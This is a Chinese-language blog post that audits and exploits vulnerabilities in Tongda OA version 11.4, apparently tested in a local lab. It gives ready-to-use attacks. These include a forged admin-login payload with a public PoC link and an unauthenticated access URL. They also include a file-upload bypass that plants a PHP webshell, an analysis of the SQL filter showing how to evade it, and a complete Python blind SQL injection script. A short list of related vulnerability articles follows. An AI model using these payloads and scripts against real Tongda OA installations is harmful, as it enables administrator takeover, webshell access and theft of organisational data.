通达OA V11.4漏洞 -代码审计
前言:
O A 版本:通达OA系统11.4
测试环境:本地
渗透工具:BurpSuite pro、SeayDzend、TongDaOA-Fake-User(POC)、PHPstorm、蚁剑
1. 存在漏洞
前台任意用户登录漏洞
前台未授权访问漏洞
管理后台文件上传漏洞
后台SQL注入漏洞
文件包含getshell
根据提供的POC的代码分析,该漏洞涉及的文件包含以下四个文件:
/ispirit/login_code.php、/ispirit/login_code_check.php、/general/login_code_scan.php、/general/index.php
通达OA源码使用zend5加密,利用解密工具SeayDzend解密上述四个文件后分析源码。
/ispirit/login_code.php :
该文件用来获取codeuid 参数,如果不存在,则会自动生成一个codeuid ,并且将其写入CODE_LOGIN_PC缓存中(通达OA使用了缓存系统Redis,同时也提供了对缓存的使用方法),但是在18行位置将这个参数显示出来,导致用户可以获取这个参数的值,从而可以绕过后面的验证。
/general/login_code_scan.php:
在这一文件中,用户可以控制输入的关键参数uid,在存在漏洞的通达OA版本中,后台数据库里uid对应的用户是admin管理员账户。并且将该数据存储在CODE_INFO_PC 缓存中,因为我们在第一个文件中获取的codeuid存储在CODE_LOGIN_PC中,所以这里在复现时需要指明source变量为pc,这里的username则为admin,而type变量需要指明为confirm 。
/ispirit/login_code_check.php:
这里使用之前存储的两个缓存中的内容,一个用来获取codeuid,一个用来获取通过Post 传入的uid等关键信息。
这里是最为关键的位置,代码获取用户可控的参数uid,并依次作为依据直接带入数据库进行查询。
随后将查询的信息直接写入session中,通过这一步, session中包含的就是管理员的身份信息。
3.1.2 手工抓包复现:
抓首页的包进行更改,访问/ispirit/login_code.php,通过返回包获取codeuid
使用POST方式访问/general/login_code_scan.php,提交相关参数,其中codeuid改为上一步中返回的值。
payload:
uid=1&codeuid={your-codeuid}&type=confirm&source=pc&username=admin
使用GET方式访问/ispirit/login_code_check.php,传入关键参数codeuid,让后台进行代入查询,并返回携带管理员身份信息的凭证。
经过这步后客户端已经拥有了管理员的身份信息,直接访问OA主页,放行如下数据包以及后续的数据包(后续数据包内容大概为管理页面的其他内容),成功以管理员身份登录OA系统。
3.1.3 POC自动获取复现:
在python环境下运行POC,返回cookie
(POC来自Github:https://github.com/NS-Sp4ce/TongDaOA-Fake-User)
替换浏览器存储的cookie,访问http://your-ip/general/成功以管理员身份登录OA系统。
未更改cookie前:
更改cookie后:
3.2 前台未授权访问漏洞
备注:需要后台有账户在线时使用
访问http://your-ip/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0 ,此时出现RELOGIN,说明目前没有人在线,需要等待有人登录的时候再尝试。
在虚拟机通达后台登录管理员账号,再次尝试,此时出现空白页面,说明已经获得权限。
再次访问http://your-ip/general/,成功进入系统。
3.3 管理后台文件上传漏洞
登录后台后,在“系统管理 → 系统参数设置 → OA服务设置”,找到Webroot目录
点击系统管理 → 附件管理 → 添加存储目录,在此重新设置上传附件存储目录(原先默认的路径在MYOA -> attach,不在网站目录MYOA -> webroot下)
注:
此处的更改上传文件路径选项在通达OA11.2的版本下可以,11.4版本中不能如此设置,因为这个路径被识别为敏感路径。
选择组织 → 管理员 → 附件上传,经测试,此处上传“php、php5、phtml”等后缀会被过滤,此时上传TXT 文件是成功的。抓包查看返回值。
根据返回的结果,拼接文件路径, http://your-ip/im/2106/704995893.shell.txt
在虚拟机中查看该目录,上传成功
利用windows系统会自动去掉符号“点”,上传shell.php. 文件进行绕过
根据返回的结果,拼接文件路径:http://your-ip/im/2106/shell.php,蚁剑连接,成功getshell
3.4 后台SQL注入漏洞
备注:复现此漏洞需先通过上述操作登录OA管理后台,此时为admin权限但无数据库操作权限,此时存在SQL注入漏洞。
漏洞位置:/general/hr/manage/query/delete_cascade.php
如果$condition_cascade不为空就把里面的\'替换为',然后执行。
原因:V11.7版本中,注册变量时考虑了安全问题,将用户输入的字符用addslashes函数进行保护。
具体代码在inc/common.inc.php中,接收了我们的输入$_GET,然后将值$s_value进行了addslashes处理
addslashes()作用
我们再来看看是怎么执行SQL语句的,在delete_cascade.php中,使用的是exequery()函数。而inc/conn.php文件中是对SQL语句的各种处理函数。
我们跟踪exequery()函数,可以在inc/conn.php中找到定义,可以发现这里又调用了db_query()函数。
我们继续跟踪db_query()函数,可以发现这里就是执行SQL语句的函数,但是执行之前使用sql_injection()函数进行了过滤。
sql_injection()函数如下所示。
function sql_injection($db_string)
{$clean = "";$error = "";$old_pos = 0;$pos = -1;$db_string = str_replace(" ", " ", $db_string);while (true) {$pos = strpos($db_string, "'", $pos + 1);if ($pos === false) {break;}$clean .= substr($db_string, $old_pos, $pos - $old_pos);while (true) {$pos1 = strpos($db_string, "'", $pos + 1);$pos2 = strpos($db_string, "\\", $pos + 1);if ($pos1 === false) {break;}else {if (($pos2 == false) || ($pos1 < $pos2)) {$pos = $pos1;break;}}$pos = $pos2 + 1;}$clean .= "\$s\$";$old_pos = $pos + 1;}$clean .= substr($db_string, $old_pos);$clean = trim(strtolower(preg_replace(array("~\s+~s"), array(" "), $clean)));$fail = false;if ((strpos($clean, "union") !== false) && (preg_match("~(^|[^a-z])union($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = _("联合查询");}else {if ((2 < strpos($clean, "/*")) || (strpos($clean, "--") !== false) || (strpos($clean, "#") !== false)) {$fail = true;$error = _("注释代码");}else {if ((strpos($clean, "sleep") !== false) && (preg_match("~(^|[^a-z])sleep($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "sleep";}else {if ((strpos($clean, "benchmark") !== false) && (preg_match("~(^|[^a-z])benchmark($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "benchmark";}else {if ((strpos($clean, "load_file") !== false) && (preg_match("~(^|[^a-z])load_file($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = _("Load文件");}else {if ((strpos($clean, "cast") !== false) && (preg_match("~(^|[^a-z])mid($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "cast";}else {if ((strpos($clean, "ord") !== false) && (preg_match("~(^|[^a-z])ord($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "ord";}else {if ((strpos($clean, "ascii") !== false) && (preg_match("~(^|[^a-z])ascii($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "ascii";}else {if ((strpos($clean, "extractvalue") !== false) && (preg_match("~(^|[^a-z])extractvalue($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "extractvalue";}else {if ((strpos($clean, "updatexml") !== false) && (preg_match("~(^|[^a-z])updatexml($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "updatexml";}else {if ((strpos($clean, "into outfile") !== false) && (preg_match("~(^|[^a-z])into\s+outfile($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = _("生成文件");}else {if ((strpos($clean, "exp") !== false) && (preg_match("~(^|[^a-z])exp($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = _("exp");}else {if ((stripos($db_string, "update") !== false) && (stripos($db_string, "user") !== false) && (stripos($db_string, "set") !== false) && (stripos($db_string, "file_priv") !== false)) {$fail = true;$error = "set file_priv";}}}}}}}}}}}}}if ($fail) {echo _("不安全的SQL语句:") . $error . "<br />";echo td_htmlspecialchars($db_string);exit();}else {return $db_string;}
}
过滤了union /* sleep benchmark load_file cast ord ascii extractvaleue updatexml into outfile exp update user set file_priv set file_priv 这些字符,盲注的核心是:substr、if等函数,均未被过滤,那么只要构造MySQL报错即可配合if函数进行盲注了。
这里可以使用if来进行报错注入,这里还知道了power(9999,99)也能报错,当字符相等时,不报错,错误时报错。
select if(1=1,1,power(9999,99))
select if(1=2,1,power(9999,99))
也可以用rlike报错注入
select 1 RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END))
select 1 RLIKE (SELECT (CASE WHEN (1=2) THEN 1 ELSE 0x28 END))
如下所示,1=1返回成功,1=2则报错,说明存在盲注
老规矩,直接用脚本来进行注入
import requests
import urllib
url = 'http://192.168.8.21:8080/general/hr/manage/query/delete_cascade.php'
cookies = "USER_NAME_COOKIE=admin; SID_1=742da844; SID_65=8232122; OA_USER_ID=admin; PHPSESSID=osa9rkacs839k0ki2s48i2d921"
sql = '(select database())'
flag = ''
for i in range(1, 50):high = 132low = 32mid = (high+low)//2while high > low:char = flag+chr(mid)headers = {"cookie": urllib.parse.unquote(cookies)}target = url + "?condition_cascade=select 3 RLIKE (SELECT (CASE WHEN (substr({0},{1},1)>={2}) THEN 1 ELSE " \"0x28 END))".format(sql, i, hex(mid))s = requests.get(url=target, headers=headers)if '信息删除成功' in s.text:low = mid+1else:high = midmid = (high+low)//2if mid == 33 or mid ==132:exit(0)flag += chr(mid-1)print("[+] "+flag)
修改一下脚本中的url、cookie、和要执行的SQL语句即可
3.5 文件包含getshell
Goby扫描目标站点,爆出通达文件包含getshell,进行验证,goby自动完成Webshell上传。
蚁剑连接shell成功验证。
通达OA V11.4漏洞 -代码审计相关推荐
- 通达OA v11.7后台SQL注入
文章目录 漏洞描述 漏洞影响 漏洞分析 漏洞描述 通达OA v11.7后台存在SQL注入,可通过此漏洞写入恶意后门文件攻击目标服务器. 漏洞影响 通达OA <= v11.7 漏洞分析 下载通达o ...
- 【漏洞复现】通达OA v11.7 在线任意用户登录漏洞
0x00 前言 通达OA V11.7版本存在这任意用户登录漏洞,该漏洞需要管理员在线才可以登录系统,另外一个方面就是编译在线的uid值进行判断. 具体fofa语法放在下面: app="TDX ...
- 通达OA v11.7 在线用户登录漏洞附自写poc
文章目录 二.漏洞影响 三.漏洞复现 四.漏洞利用POC 五.总结 本文就介绍了通达OA v11.7 在线用户登录漏洞利用方法,及自己写的poc. # 一.漏洞描述 通达OA v11.7 中webro ...
- 通达OA v11.9 getdata任意命令执行漏洞复现+利用
1.产品简介 通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件,是与中国企业管理实践相结合形成的综合管理办公平台.包括流程审批.行政办 ...
- 通达OA v11.7 auth_mobi.php 在线用户登录漏洞复现
通达OA v11.7 auth_mobi.php 在线用户登录漏洞复现 一.前言 通达OA,Office Anywhere的首字母,是通达信科旗下的品牌.通达OA v11.7 中存在某接口查询在线用户 ...
- 通达OA v11.3 以下版本 任意文件上传加文件包含导致命令执行漏洞在线实验环境
转载自: [通达OA <= v11.3 任意文件上传+文件包含导致命令执行漏洞利用]- https://store.vsplate.com/cn/post/519/ 在线环境地址:https:/ ...
- jmeter file upload 变量_通达OA上传漏洞之变量覆盖分析
作者:kw0ng 开始 通达OA上传到包含漏洞分析的文章已经有很多,本文重点分析,文件上传处决定路径信息是否回显的UPLOAD_MODE参数是怎么传递的. 代码分析 触发文件上传点位于/ispirit ...
- html 怎么让tr的css覆盖td的_通达OA上传漏洞之变量覆盖分析
作者:kw0ng 开始 通达OA上传到包含漏洞分析的文章已经有很多,本文重点分析,文件上传处决定路径信息是否回显的UPLOAD_MODE参数是怎么传递的. 代码分析 触发文件上传点位于/ispirit ...
- 2022-10-10(通达OA SQL注入漏洞)
文章目录 漏洞描述 环境搭建 漏洞利用 id参数存在sql注入 starttime参数 orderby参数 id参数存在sql注入 修复建议 参考 漏洞描述 通达OA 11.5版本,存在sql注入 环 ...
最新文章
- 十六进制字符转化为十进制数字
- mysql 备份锁表_mysql 不停机 短时间锁表 备份 主备同步 新增备份机器
- OpenGL之渲染大小球自转和公转的效果
- react-native run-android的输出
- 用fputc()函数以字符串形式写入字符到磁盘文件
- 三次握手wireshark抓包分析,成功握手和失败握手
- php模拟远程提交get 、post 实例函数
- GYM 101875 2018 USP-ICMC
- 程序员需要鼓励师吗?我觉得写代码的时候更需要这个!
- 扩充你的工具箱 - 大行文件的处理
- 斯坦福大学深度学习公开课cs231n学习笔记(2)线性分类器及最优化
- MATLAB的图像显示函数imshow()详解
- 浏览器与输入法——用户入口的争夺
- 你有什么道理后悔没有早点知道?
- 2019QS世界大学学科排名重磅发布!
- html语法在线检测,HTML语法检测
- 从gRPC的重试策略说起
- 哈工大刘挺:自然语言处理中的可解释性问题!
- CISCO交换机配置命令及释义
- rj45插座尺寸图_带灯RJ45插座接口定义及使用说明